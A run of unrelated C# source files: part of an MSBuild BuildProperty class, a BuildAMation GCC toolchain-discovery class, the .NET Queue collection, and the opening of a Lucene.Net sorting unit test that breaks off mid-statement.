#region Methods /// <summary> /// Given a property bag, this method evaluates the current property, /// expanding any property references contained within. It stores this /// evaluated value in the "finalValue" member. /// </summary> /// <owner>RGoel</owner> internal void Evaluate ( Expander expander ) { ErrorUtilities.VerifyThrow(expander != null, "Expander required to evaluated property."); this.finalValueEscaped = expander.ExpandAllIntoStringLeaveEscaped(this.Value, this.propertyElement); } /// <summary> /// Marks the parent project as dirty. /// </summary> /// <owner>RGoel</owner> private void MarkPropertyAsDirty ( ) { if (this.ParentPersistedPropertyGroup != null) { ErrorUtilities.VerifyThrow(this.ParentPersistedPropertyGroup.ParentProject != null, "Persisted BuildPropertyGroup doesn't have parent project."); this.ParentPersistedPropertyGroup.MarkPropertyGroupAsDirty(); } } /// <summary> /// Creates a shallow or deep clone of this BuildProperty object. /// /// A shallow clone points at the same XML element as the original, so /// that modifications to the name or value will be reflected in both /// copies. However, the two copies could have different a finalValue. /// /// A deep clone actually clones the XML element as well, so that the /// two copies are completely independent of each other. /// </summary> /// <param name="deepClone"></param> /// <returns></returns> /// <owner>rgoel</owner> public BuildProperty Clone ( bool deepClone ) { BuildProperty clone; // If this property object is represented as an XML element. if (this.propertyElement != null) { XmlElement newPropertyElement; if (deepClone) { // Clone the XML element itself. The new XML element will be // associated with the same XML document as the original property, // but won't actually get added to the XML document. newPropertyElement = (XmlElement)this.propertyElement.Clone(); } else { newPropertyElement = this.propertyElement; } // Create the cloned BuildProperty object, and return it. clone = new BuildProperty(newPropertyElement, this.propertyValue, this.Type); } else { // Otherwise, it's just an in-memory property. We can't do a shallow // clone for this type of property, because there's no XML element for // the clone to share. ErrorUtilities.VerifyThrowInvalidOperation(deepClone, "ShallowCloneNotAllowed"); // Create a new property, using the same name, value, and property type. clone = new BuildProperty(this.Name, this.Value, this.Type); } // Do not set the ParentPersistedPropertyGroup on the cloned property, because it isn't really // part of the property group. // Be certain we didn't copy the value string: it's a waste of memory ErrorUtilities.VerifyThrow(Object.ReferenceEquals(clone.Value, this.Value), "Clone value should be identical reference"); return clone; } /// <summary> /// Compares two BuildProperty objects ("this" and "compareToProperty") to determine /// if all the fields within the BuildProperty are the same. /// </summary> /// <param name="compareToProperty"></param> /// <returns>true if the properties are equivalent, false otherwise</returns> internal bool IsEquivalent ( BuildProperty compareToProperty ) { // Intentionally do not compare parentPersistedPropertyGroup, because this is // just a back-pointer, and doesn't really contribute to the "identity" of // the property. return (compareToProperty != null) && (String.Equals(compareToProperty.propertyName, this.propertyName, StringComparison.OrdinalIgnoreCase)) && (compareToProperty.propertyValue == this.propertyValue) && (compareToProperty.FinalValue == this.FinalValue) && (compareToProperty.type == this.type); } /// <summary> /// Returns the property value. /// </summary> /// <owner>RGoel</owner> public override string ToString ( ) { return (string) this; } #endregion #region Operators /// <summary> /// This allows an implicit typecast from a "BuildProperty" to a "string" /// when trying to access the property's value. /// </summary> /// <param name="propertyToCast"></param> /// <returns></returns> /// <owner>rgoel</owner> public static explicit operator string ( BuildProperty propertyToCast ) { if (propertyToCast == null) { return String.Empty; } return propertyToCast.FinalValue; } #endregion } }
#region License // Copyright (c) 2010-2019, Mark Final // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are met: // // * Redistributions of source code must retain the above copyright notice, this // list of conditions and the following disclaimer. // // * Redistributions in binary form must reproduce the above copyright notice, // this list of conditions and the following disclaimer in the documentation // and/or other materials provided with the distribution. // // * Neither the name of BuildAMation nor the names of its // contributors may be used to endorse or promote products derived from // this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE // DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE // FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL // DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER // CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, // OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. #endregion // License using System.Linq; namespace GccCommon { /// <summary> /// Abstract class for common Gcc package metadata /// </summary> abstract class MetaData : Bam.Core.PackageMetaData, C.IToolchainDiscovery { private readonly System.Collections.Generic.Dictionary<string, object> Meta = new System.Collections.Generic.Dictionary<string,object>(); protected MetaData() { if (!Bam.Core.OSUtilities.IsLinuxHosting) { return; } this.Meta.Add("ExpectedMajorVersion", this.CompilerMajorVersion); this.Meta.Add("ExpectedMinorVersion", this.CompilerMinorVersion); } /// <summary> /// Indexer into the meta data /// </summary> /// <param name="index">String indexer</param> /// <returns>Result at index</returns> public override object this[string index] => this.Meta[index]; public override bool Contains( string index) => this.Meta.ContainsKey(index); private void ValidateGcc() { if (!this.Meta.ContainsKey("GccPath")) { throw new Bam.Core.Exception("Could not find gcc. Was the package installed?"); } var gccLocation = this.Meta["GccPath"] as string; var gccVersion = this.Meta["GccVersion"] as string[]; if (System.Convert.ToInt32(gccVersion[0]) != (int)this.Meta["ExpectedMajorVersion"]) { throw new Bam.Core.Exception($"{gccLocation} reports version {System.String.Join(".", gccVersion)}. Expected {this.Meta["ExpectedMajorVersion"]}.{this.Meta["ExpectedMinorVersion"]}"); } if (null != this.Meta["ExpectedMinorVersion"]) { if (System.Convert.ToInt32(gccVersion[1]) != (int)this.Meta["ExpectedMinorVersion"]) { throw new Bam.Core.Exception($"{gccLocation} reports version {System.String.Join(".", gccVersion)}. Expected {this.Meta["ExpectedMajorVersion"]}.{this.Meta["ExpectedMinorVersion"]}"); } } } private void ValidateGxx() { if (!this.Meta.ContainsKey("G++Path")) { throw new Bam.Core.Exception("Could not find g++. Was the package installed?"); } var gxxLocation = this.Meta["G++Path"] as string; var gxxVersion = this.Meta["G++Version"] as string[]; if (System.Convert.ToInt32(gxxVersion[0]) != (int)this.Meta["ExpectedMajorVersion"]) { throw new Bam.Core.Exception($"{gxxLocation} reports version {System.String.Join(".", gxxVersion)}. Expected {this.Meta["ExpectedMajorVersion"]}.{this.Meta["ExpectedMinorVersion"]}"); } if (null != this.Meta["ExpectedMinorVersion"]) { if (System.Convert.ToInt32(gxxVersion[1]) != (int)this.Meta["ExpectedMinorVersion"]) { throw new Bam.Core.Exception($"{gxxLocation} reports version {System.String.Join(".", gxxVersion)}. Expected {this.Meta["ExpectedMajorVersion"]}.{this.Meta["ExpectedMinorVersion"]}"); } } } private void ValidateAr() { if (!this.Meta.ContainsKey("ArPath")) { throw new Bam.Core.Exception("Could not find ar. Was the package installed?"); } } private void ValidateLd() { if (!this.Meta.ContainsKey("LdPath")) { throw new Bam.Core.Exception("Could not find ld. Was the package installed?"); } } /// <summary> /// Get path to Gcc /// </summary> public string GccPath { get { this.ValidateGcc(); return this.Meta["GccPath"] as string; } } /// <summary> /// Get path to G++ /// </summary> public string GxxPath { get { this.ValidateGxx(); return this.Meta["G++Path"] as string; } } /// <summary> /// Get path to ar /// </summary> public string ArPath { get { this.ValidateAr(); return this.Meta["ArPath"] as string; } } /// <summary> /// Get path to ld /// </summary> public string LdPath { get { this.ValidateLd(); return this.Meta["LdPath"] as string; } } /// <summary> /// Get the compiler's major version /// </summary> protected abstract int CompilerMajorVersion { get; } /// <summary> /// Get the compiler's minor version /// </summary> protected virtual int? CompilerMinorVersion => null; // defaults to no minor version number /// <summary> /// Get the toolchain version /// </summary> public C.ToolchainVersion ToolchainVersion { get { return this.Meta["ToolchainVersion"] as C.ToolchainVersion; } private set { this.Meta["ToolchainVersion"] = value; } } private C.ToolchainVersion GetCompilerVersion() { var contents = new System.Text.StringBuilder(); contents.AppendLine("__GNUC__"); contents.AppendLine("__GNUC_MINOR__"); contents.AppendLine("__GNUC_PATCHLEVEL__"); var temp_file = System.IO.Path.GetTempFileName(); System.IO.File.WriteAllText(temp_file, contents.ToString()); var result = Bam.Core.OSUtilities.RunExecutable( this.GccPath, $"-E -P -x c {temp_file}" ); var version = result.StandardOutput.Split(System.Environment.NewLine); if (version.Length != 3) { throw new Bam.Core.Exception( $"Expected 3 lines: major, minor, patchlevel; instead got {version.Length} and {result.StandardOutput}" ); } return GccCommon.ToolchainVersion.FromComponentVersions( System.Convert.ToInt32(version[0]), System.Convert.ToInt32(version[1]), System.Convert.ToInt32(version[2]) ); } void C.IToolchainDiscovery.Discover ( C.EBit? depth) { if (this.Contains("GccPath")) { return; } var gccLocations = Bam.Core.OSUtilities.GetInstallLocation("gcc"); if (null != gccLocations) { var location = gccLocations.First(); this.Meta.Add("GccPath", location); var gccVersion = Bam.Core.OSUtilities.RunExecutable(location, "-dumpversion").StandardOutput; // older versions of the GCC compiler display a major.minor version number // newer versions just display a major version number var gccVersionSplit = gccVersion.Split(new [] { '.' }); this.Meta.Add("GccVersion", gccVersionSplit); this.ToolchainVersion = this.GetCompilerVersion(); Bam.Core.Log.Info($"Using GCC version {gccVersion} installed at {location}"); } var gxxLocations = Bam.Core.OSUtilities.GetInstallLocation("g++"); if (null != gxxLocations) { var location = gxxLocations.First(); this.Meta.Add("G++Path", location); var gxxVersion = Bam.Core.OSUtilities.RunExecutable(location, "-dumpversion").StandardOutput.Split(new[] { '.' }); this.Meta.Add("G++Version", gxxVersion); } var arLocations = Bam.Core.OSUtilities.GetInstallLocation("ar"); if (null != arLocations) { this.Meta.Add("ArPath", arLocations.First()); } var ldLocations = Bam.Core.OSUtilities.GetInstallLocation("ld"); if (null != ldLocations) { this.Meta.Add("LdPath", ldLocations.First()); } } } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. /*============================================================================= ** ** Class: Queue ** ** Purpose: Represents a first-in, first-out collection of objects. ** =============================================================================*/ using System.Diagnostics; using System.Diagnostics.CodeAnalysis; namespace System.Collections { // A simple Queue of objects. Internally it is implemented as a circular // buffer, so Enqueue can be O(n). Dequeue is O(1). [DebuggerTypeProxy(typeof(System.Collections.Queue.QueueDebugView))] [DebuggerDisplay("Count = {Count}")] [Serializable] [System.Runtime.CompilerServices.TypeForwardedFrom("mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089")] public class Queue : ICollection, ICloneable { private object[] _array; // Do not rename (binary serialization) private int _head; // First valid element in the queue. Do not rename (binary serialization) private int _tail; // Last valid element in the queue. Do not rename (binary serialization) private int _size; // Number of elements. Do not rename (binary serialization) private int _growFactor; // 100 == 1.0, 130 == 1.3, 200 == 2.0. Do not rename (binary serialization) private int _version; // Do not rename (binary serialization) private const int _MinimumGrow = 4; private const int _ShrinkThreshold = 32; // Creates a queue with room for capacity objects. The default initial // capacity and grow factor are used. public Queue() : this(32, (float)2.0) { } // Creates a queue with room for capacity objects. The default grow factor // is used. // public Queue(int capacity) : this(capacity, (float)2.0) { } // Creates a queue with room for capacity objects. When full, the new // capacity is set to the old capacity * growFactor. // public Queue(int capacity, float growFactor) { if (capacity < 0) throw new ArgumentOutOfRangeException(nameof(capacity), SR.ArgumentOutOfRange_NeedNonNegNum); if (!(growFactor >= 1.0 && growFactor <= 10.0)) throw new ArgumentOutOfRangeException(nameof(growFactor), SR.Format(SR.ArgumentOutOfRange_QueueGrowFactor, 1, 10)); _array = new object[capacity]; _head = 0; _tail = 0; _size = 0; _growFactor = (int)(growFactor * 100); } // Fills a Queue with the elements of an ICollection. Uses the enumerator // to get each of the elements. // public Queue(ICollection col) : this((col == null ? 32 : col.Count)) { if (col == null) throw new ArgumentNullException(nameof(col)); IEnumerator en = col.GetEnumerator(); while (en.MoveNext()) Enqueue(en.Current); } public virtual int Count { get { return _size; } } public virtual object Clone() { Queue q = new Queue(_size); q._size = _size; int numToCopy = _size; int firstPart = (_array.Length - _head < numToCopy) ? _array.Length - _head : numToCopy; Array.Copy(_array, _head, q._array, 0, firstPart); numToCopy -= firstPart; if (numToCopy > 0) Array.Copy(_array, 0, q._array, _array.Length - _head, numToCopy); q._version = _version; return q; } public virtual bool IsSynchronized { get { return false; } } public virtual object SyncRoot => this; // Removes all Objects from the queue. public virtual void Clear() { if (_size != 0) { if (_head < _tail) Array.Clear(_array, _head, _size); else { Array.Clear(_array, _head, _array.Length - _head); Array.Clear(_array, 0, _tail); } _size = 0; } _head = 0; _tail = 0; _version++; } // CopyTo copies a collection into an Array, starting at a particular // index into the array. // public virtual void CopyTo(Array array, int index) { if (array == null) throw new ArgumentNullException(nameof(array)); if (array.Rank != 1) throw new ArgumentException(SR.Arg_RankMultiDimNotSupported, nameof(array)); if (index < 0) throw new ArgumentOutOfRangeException(nameof(index), SR.ArgumentOutOfRange_Index); int arrayLen = array.Length; if (arrayLen - index < _size) throw new ArgumentException(SR.Argument_InvalidOffLen); int numToCopy = _size; if (numToCopy == 0) return; int firstPart = (_array.Length - _head < numToCopy) ? _array.Length - _head : numToCopy; Array.Copy(_array, _head, array, index, firstPart); numToCopy -= firstPart; if (numToCopy > 0) Array.Copy(_array, 0, array, index + _array.Length - _head, numToCopy); } // Adds obj to the tail of the queue. // public virtual void Enqueue(object obj) { if (_size == _array.Length) { int newcapacity = (int)((long)_array.Length * (long)_growFactor / 100); if (newcapacity < _array.Length + _MinimumGrow) { newcapacity = _array.Length + _MinimumGrow; } SetCapacity(newcapacity); } _array[_tail] = obj; _tail = (_tail + 1) % _array.Length; _size++; _version++; } // GetEnumerator returns an IEnumerator over this Queue. This // Enumerator will support removing. // public virtual IEnumerator GetEnumerator() { return new QueueEnumerator(this); } // Removes the object at the head of the queue and returns it. If the queue // is empty, this method simply returns null. public virtual object Dequeue() { if (Count == 0) throw new InvalidOperationException(SR.InvalidOperation_EmptyQueue); object removed = _array[_head]; _array[_head] = null; _head = (_head + 1) % _array.Length; _size--; _version++; return removed; } // Returns the object at the head of the queue. The object remains in the // queue. If the queue is empty, this method throws an // InvalidOperationException. public virtual object Peek() { if (Count == 0) throw new InvalidOperationException(SR.InvalidOperation_EmptyQueue); return _array[_head]; } // Returns a synchronized Queue. Returns a synchronized wrapper // class around the queue - the caller must not use references to the // original queue. // public static Queue Synchronized(Queue queue) { if (queue == null) throw new ArgumentNullException(nameof(queue)); return new SynchronizedQueue(queue); } // Returns true if the queue contains at least one object equal to obj. // Equality is determined using obj.Equals(). // // Exceptions: ArgumentNullException if obj == null. public virtual bool Contains(object obj) { int index = _head; int count = _size; while (count-- > 0) { if (obj == null) { if (_array[index] == null) return true; } else if (_array[index] != null && _array[index].Equals(obj)) { return true; } index = (index + 1) % _array.Length; } return false; } internal object GetElement(int i) { return _array[(_head + i) % _array.Length]; } // Iterates over the objects in the queue, returning an array of the // objects in the Queue, or an empty array if the queue is empty. // The order of elements in the array is first in to last in, the same // order produced by successive calls to Dequeue. public virtual object[] ToArray() { if (_size == 0) return Array.Empty<Object>(); object[] arr = new object[_size]; if (_head < _tail) { Array.Copy(_array, _head, arr, 0, _size); } else { Array.Copy(_array, _head, arr, 0, _array.Length - _head); Array.Copy(_array, 0, arr, _array.Length - _head, _tail); } return arr; } // PRIVATE Grows or shrinks the buffer to hold capacity objects. Capacity // must be >= _size. private void SetCapacity(int capacity) { object[] newarray = new object[capacity]; if (_size > 0) { if (_head < _tail) { Array.Copy(_array, _head, newarray, 0, _size); } else { Array.Copy(_array, _head, newarray, 0, _array.Length - _head); Array.Copy(_array, 0, newarray, _array.Length - _head, _tail); } } _array = newarray; _head = 0; _tail = (_size == capacity) ? 0 : _size; _version++; } public virtual void TrimToSize() { SetCapacity(_size); } // Implements a synchronization wrapper around a queue. private class SynchronizedQueue : Queue { private Queue _q; private object _root; internal SynchronizedQueue(Queue q) { _q = q; _root = _q.SyncRoot; } public override bool IsSynchronized { get { return true; } } public override object SyncRoot { get { return _root; } } public override int Count { get { lock (_root) { return _q.Count; } } } public override void Clear() { lock (_root) { _q.Clear(); } } public override object Clone() { lock (_root) { return new SynchronizedQueue((Queue)_q.Clone()); } } public override bool Contains(object obj) { lock (_root) { return _q.Contains(obj); } } public override void CopyTo(Array array, int arrayIndex) { lock (_root) { _q.CopyTo(array, arrayIndex); } } public override void Enqueue(object value) { lock (_root) { _q.Enqueue(value); } } public override object Dequeue() { lock (_root) { return _q.Dequeue(); } } public override IEnumerator GetEnumerator() { lock (_root) { return _q.GetEnumerator(); } } public override object Peek() { lock (_root) { return _q.Peek(); } } public override object[] ToArray() { lock (_root) { return _q.ToArray(); } } public override void TrimToSize() { lock (_root) { _q.TrimToSize(); } } } // Implements an enumerator for a Queue. The enumerator uses the // internal version number of the list to ensure that no modifications are // made to the list while an enumeration is in progress. private class QueueEnumerator : IEnumerator, ICloneable { private Queue _q; private int _index; private int _version; private object _currentElement; internal QueueEnumerator(Queue q) { _q = q; _version = _q._version; _index = 0; _currentElement = _q._array; if (_q._size == 0) _index = -1; } public object Clone() => MemberwiseClone(); public virtual bool MoveNext() { if (_version != _q._version) throw new InvalidOperationException(SR.InvalidOperation_EnumFailedVersion); if (_index < 0) { _currentElement = _q._array; return false; } _currentElement = _q.GetElement(_index); _index++; if (_index == _q._size) _index = -1; return true; } public virtual object Current { get { if (_currentElement == _q._array) { if (_index == 0) throw new InvalidOperationException(SR.InvalidOperation_EnumNotStarted); else throw new InvalidOperationException(SR.InvalidOperation_EnumEnded); } return _currentElement; } } public virtual void Reset() { if (_version != _q._version) throw new InvalidOperationException(SR.InvalidOperation_EnumFailedVersion); if (_q._size == 0) _index = -1; else _index = 0; _currentElement = _q._array; } } internal class QueueDebugView { private Queue _queue; public QueueDebugView(Queue queue) { if (queue == null) throw new ArgumentNullException(nameof(queue)); _queue = queue; } [DebuggerBrowsable(DebuggerBrowsableState.RootHidden)] public object[] Items { get { return _queue.ToArray(); } } } } }
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ using System; using NUnit.Framework; using SimpleAnalyzer = Lucene.Net.Analysis.SimpleAnalyzer; using Document = Lucene.Net.Documents.Document; using Field = Lucene.Net.Documents.Field; using CorruptIndexException = Lucene.Net.Index.CorruptIndexException; using IndexReader = Lucene.Net.Index.IndexReader; using IndexWriter = Lucene.Net.Index.IndexWriter; using Term = Lucene.Net.Index.Term; using ParseException = Lucene.Net.QueryParsers.ParseException; using LockObtainFailedException = Lucene.Net.Store.LockObtainFailedException; using RAMDirectory = Lucene.Net.Store.RAMDirectory; using DocIdBitSet = Lucene.Net.Util.DocIdBitSet; using Occur = Lucene.Net.Search.Occur; using LuceneTestCase = Lucene.Net.Util.LuceneTestCase; namespace Lucene.Net.Search { /// <summary> Unit tests for sorting code. /// <p/>Created: Feb 17, 2004 4:55:10 PM /// </summary> [Serializable] [TestFixture] public class TestSort:LuceneTestCase { [Serializable] private class AnonymousClassIntParser : Lucene.Net.Search.IntParser { public AnonymousClassIntParser(TestSort enclosingInstance) { InitBlock(enclosingInstance); } private void InitBlock(TestSort enclosingInstance) { this.enclosingInstance = enclosingInstance; } private TestSort enclosingInstance; public TestSort Enclosing_Instance { get { return enclosingInstance; } } public int ParseInt(System.String val) { return (val[0] - 'A') * 123456; } } [Serializable] private class AnonymousClassFloatParser : Lucene.Net.Search.FloatParser { public AnonymousClassFloatParser(TestSort enclosingInstance) { InitBlock(enclosingInstance); } private void InitBlock(TestSort enclosingInstance) { this.enclosingInstance = enclosingInstance; } private TestSort enclosingInstance; public TestSort Enclosing_Instance { get { return enclosingInstance; } } public float ParseFloat(System.String val) { return (float) System.Math.Sqrt(val[0]); } } [Serializable] private class AnonymousClassLongParser : Lucene.Net.Search.LongParser { public AnonymousClassLongParser(TestSort enclosingInstance) { InitBlock(enclosingInstance); } private void InitBlock(TestSort enclosingInstance) { this.enclosingInstance = enclosingInstance; } private TestSort enclosingInstance; public TestSort Enclosing_Instance { get { return enclosingInstance; } } public long ParseLong(System.String val) { return (val[0] - 'A') * 1234567890L; } } [Serializable] private class AnonymousClassDoubleParser : Lucene.Net.Search.DoubleParser { public AnonymousClassDoubleParser(TestSort enclosingInstance) { InitBlock(enclosingInstance); } private void InitBlock(TestSort enclosingInstance) { this.enclosingInstance = enclosingInstance; } private TestSort enclosingInstance; public TestSort Enclosing_Instance { get { return enclosingInstance; } } public double ParseDouble(System.String val) { return System.Math.Pow(val[0], (val[0] - 'A')); } } [Serializable] private class AnonymousClassByteParser : Lucene.Net.Search.ByteParser { public AnonymousClassByteParser(TestSort enclosingInstance) { InitBlock(enclosingInstance); } private void InitBlock(TestSort enclosingInstance) { this.enclosingInstance = enclosingInstance; } private TestSort enclosingInstance; public TestSort Enclosing_Instance { get { return enclosingInstance; } } public sbyte ParseByte(System.String val) { return (sbyte) (val[0] - 'A'); } } [Serializable] private class AnonymousClassShortParser : Lucene.Net.Search.ShortParser { public AnonymousClassShortParser(TestSort enclosingInstance) { InitBlock(enclosingInstance); } private void InitBlock(TestSort enclosingInstance) { this.enclosingInstance = enclosingInstance; } private TestSort enclosingInstance; public TestSort Enclosing_Instance { get { return enclosingInstance; } } public short ParseShort(System.String val) { return (short) (val[0] - 'A'); } } [Serializable] private class AnonymousClassFilter:Filter { public AnonymousClassFilter(Lucene.Net.Search.TopDocs docs1, TestSort enclosingInstance) { InitBlock(docs1, enclosingInstance); } private void InitBlock(Lucene.Net.Search.TopDocs docs1, TestSort enclosingInstance) { this.docs1 = docs1; this.enclosingInstance = enclosingInstance; } private Lucene.Net.Search.TopDocs docs1; private TestSort enclosingInstance; public TestSort Enclosing_Instance { get { return enclosingInstance; } } public override DocIdSet GetDocIdSet(IndexReader reader) { System.Collections.BitArray bs = new System.Collections.BitArray((reader.MaxDoc % 64 == 0?reader.MaxDoc / 64:reader.MaxDoc / 64 + 1) * 64); for (int i = 0; i < reader.MaxDoc; i++) bs.Set(i, true); bs.Set(docs1.ScoreDocs[0].Doc, true); return new DocIdBitSet(bs); } } private const int NUM_STRINGS = 6000; private Searcher full; private Searcher searchX; private Searcher searchY; private Query queryX; private Query queryY; private Query queryA; private Query queryE; private Query queryF; private Query queryG; private Sort sort; /*public TestSort(System.String name):base(name) { }*/ /*public static Test Suite() { return new TestSuite(typeof(TestSort)); }*/ // document data: // the tracer field is used to determine which document was hit // the contents field is used to search and sort by relevance // the int field to sort by int // the float field to sort by float // the string field to sort by string // the i18n field includes accented characters for testing locale-specific sorting private System.String[][] data = new System.String[][] { // tracer contents int float string custom i18n long double, 'short', byte, 'custom parser encoding' new string[]{ "A", "x a", "5", "4f", "c", "A-3", "p\u00EAche", "10", "-4.0", "3", "126", "J"},//A, x //{{See: LUCENENET-364}} Intentional diversion from Java (3.4028235E38 changed to 3.402823E38) new string[]{ "B", "y a", "5", "3.402823E38", "i", "B-10", "HAT", "1000000000", "40.0", "24", "1", "I"},//B, y //new string[]{ "B", "y a", "5", "3.4028235E38", "i", "B-10", "HAT", "1000000000", "40.0", "24", "1", "I"},//B, y new string[]{ "C", "x a b c", "2147483647", "1.0", "j", "A-2", "p\u00E9ch\u00E9", "99999999", "40.00002343", "125", "15", "H"},//C, x new string[]{ "D", "y a b c", "-1", "0.0f", "a", "C-0", "HUT", long.MaxValue.ToString(), double.MinValue.ToString("E16"), short.MinValue.ToString(), sbyte.MinValue.ToString(), "G"},//D, y new string[]{ "E", "x a b c d", "5", "2f", "h", "B-8", "peach", long.MinValue.ToString(), double.MaxValue.ToString("E16"), short.MaxValue.ToString(), sbyte.MaxValue.ToString(), "F"},//E,x new string[]{ "F", "y a b c d", "2", "3.14159f", "g", "B-1", "H\u00C5T", "-44", "343.034435444", "-3", "0", "E"},//F,y new string[]{ "G", "x a b c d", "3", "-1.0", "f", "C-100", "sin", "323254543543", "4.043544", "5", "100", "D"},//G,x new string[]{ "H", "y a b c d", "0", "1.4E-45", "e", "C-88", "H\u00D8T", "1023423423005", "4.043545", "10", "-50", "C"},//H,y new string[]{ "I", "x a b c d e f", "-2147483648", "1.0e+0", "d", "A-10", "s\u00EDn", "332422459999", "4.043546", "-340", "51", "B"},//I,x new string[]{ "J", "y a b c d e f", "4", ".5", "b", "C-7", "HOT", "34334543543", "4.0000220343", "300", "2", "A"},//J,y new string[]{ "W", "g", "1", null, null, null, null, null, null, null, null, null}, new string[]{ "X", "g", "1", "0.1", null, null, null, null, null, null, null, null}, new string[]{ "Y", "g", "1", "0.2", null, null, null, null, null, null, null, null}, new string[]{ "Z", "f g", null, null, null, null, null, null, null, null, null, null} }; // create an index of all the documents, or just the x, or just the y documents private Searcher GetIndex(bool even, bool odd) { RAMDirectory indexStore = new RAMDirectory(); IndexWriter writer = new IndexWriter(indexStore, new SimpleAnalyzer(), true, IndexWriter.MaxFieldLength.LIMITED); writer.SetMaxBufferedDocs(2); writer.MergeFactor = 1000; for (int i = 0; i < data.Length; ++i) { if (((i % 2) == 0 && even) || ((i % 2) == 1 && odd)) { Document doc = new Document(); doc.Add(new Field("tracer", data[i][0], Field.Store.YES, Field.Index.NO)); doc.Add(new Field("contents", data[i][1], Field.Store.NO, Field.Index.ANALYZED)); if (data[i][2] != null) doc.Add(new Field("int", data[i][2], Field.Store.NO, Field.Index.NOT_ANALYZED)); if (data[i][3] != null) doc.Add(new Field("float", data[i][3], Field.Store.NO, Field.Index.NOT_ANALYZED)); if (data[i][4] != null) doc.Add(new Field("string", data[i][4], Field.Store.NO, Field.Index.NOT_ANALYZED)); if (data[i][5] != null) doc.Add(new Field("custom", data[i][5], Field.Store.NO, Field.Index.NOT_ANALYZED)); if (data[i][6] != null) doc.Add(new Field("i18n", data[i][6], Field.Store.NO, Field.Index.NOT_ANALYZED)); if (data[i][7] != null) doc.Add(new Field("long", data[i][7], Field.Store.NO, Field.Index.NOT_ANALYZED)); if (data[i][8] != null) doc.Add(new Field("double", data[i][8], Field.Store.NO, Field.Index.NOT_ANALYZED)); if (data[i][9] != null) doc.Add(new Field("short", data[i][9], Field.Store.NO, Field.Index.NOT_ANALYZED)); if (data[i][10] != null) doc.Add(new Field("byte", data[i][10], Field.Store.NO, Field.Index.NOT_ANALYZED)); if (data[i][11] != null) doc.Add(new Field("parser", data[i][11], Field.Store.NO, Field.Index.NOT_ANALYZED)); doc.Boost = 2; // produce some scores above 1.0 writer.AddDocument(doc); } } //writer.optimize (); writer.Close(); IndexSearcher s = new IndexSearcher(indexStore, true); s.SetDefaultFieldSortScoring(true, true); return s; } private Searcher GetFullIndex() { return GetIndex(true, true); } private IndexSearcher GetFullStrings() { RAMDirectory indexStore = new RAMDirectory(); IndexWriter writer = new IndexWriter(indexStore, new SimpleAnalyzer(), true, IndexWriter.MaxFieldLength.LIMITED); writer.SetMaxBufferedDocs(4); writer.MergeFactor = 97; for (int i = 0; i < NUM_STRINGS; i++) { Document doc = new Document(); System.String num = GetRandomCharString(GetRandomNumber(2, 8), 48, 52); doc.Add(new Field("tracer", num, Field.Store.YES, Field.Index.NO)); //doc.add (new Field ("contents", Integer.toString(i), Field.Store.NO, Field.Index.ANALYZED)); doc.Add(new Field("string", num, Field.Store.NO, Field.Index.NOT_ANALYZED)); System.String num2 = GetRandomCharString(GetRandomNumber(1, 4), 48, 50); doc.Add(new Field("string2", num2, Field.Store.NO, Field.Index.NOT_ANALYZED)); doc.Add(new Field("tracer2", num2, Field.Store.YES, Field.Index.NO)); doc.Boost = 2; // produce some scores above 1.0 writer.SetMaxBufferedDocs(GetRandomNumber(2, 12)); writer.AddDocument(doc); } //writer.optimize (); //System.out.println(writer.getSegmentCount()); writer.Close(); return new IndexSearcher(indexStore, true); } public virtual System.String GetRandomNumberString(int num, int low, int high) { System.Text.StringBuilder sb = new System.Text.StringBuilder(); for (int i = 0; i < num; i++) { sb.Append(GetRandomNumber(low, high)); } return sb.ToString(); } public virtual System.String GetRandomCharString(int num) { return GetRandomCharString(num, 48, 122); } public virtual System.String GetRandomCharString(int num, int start, int end) { System.Text.StringBuilder sb = new System.Text.StringBuilder(); for (int i = 0; i < num; i++) { sb.Append((char) GetRandomNumber(start, end)); } return sb.ToString(); } internal System.Random r; public virtual int GetRandomNumber(int low, int high) { int randInt = (System.Math.Abs(r.Next()) % (high - low)) + low; return randInt; } private Searcher GetXIndex() { return GetIndex(true, false); } private Searcher GetYIndex() { return GetIndex(false, true); } private Searcher GetEmptyIndex() { return GetIndex(false, false); } [SetUp] public override void SetUp() { base.SetUp(); full = GetFullIndex(); searchX = GetXIndex(); searchY = GetYIndex(); queryX = new TermQuery(new Term("contents", "x")); queryY = new TermQuery(new Term("contents", "y")); queryA = new TermQuery(new Term("contents", "a")); queryE = new TermQuery(new Term("contents", "e")); queryF = new TermQuery(new Term("contents", "f")); queryG = new TermQuery(new Term("contents", "g")); sort = new Sort(); } // test the sorts by score and document number [Test] public virtual void TestBuiltInSorts() { sort = new Sort(); AssertMatches(full, queryX, sort, "ACEGI"); AssertMatches(full, queryY, sort, "BDFHJ"); sort.SetSort(SortField.FIELD_DOC); AssertMatches(full, queryX, sort, "ACEGI"); AssertMatches(full, queryY, sort, 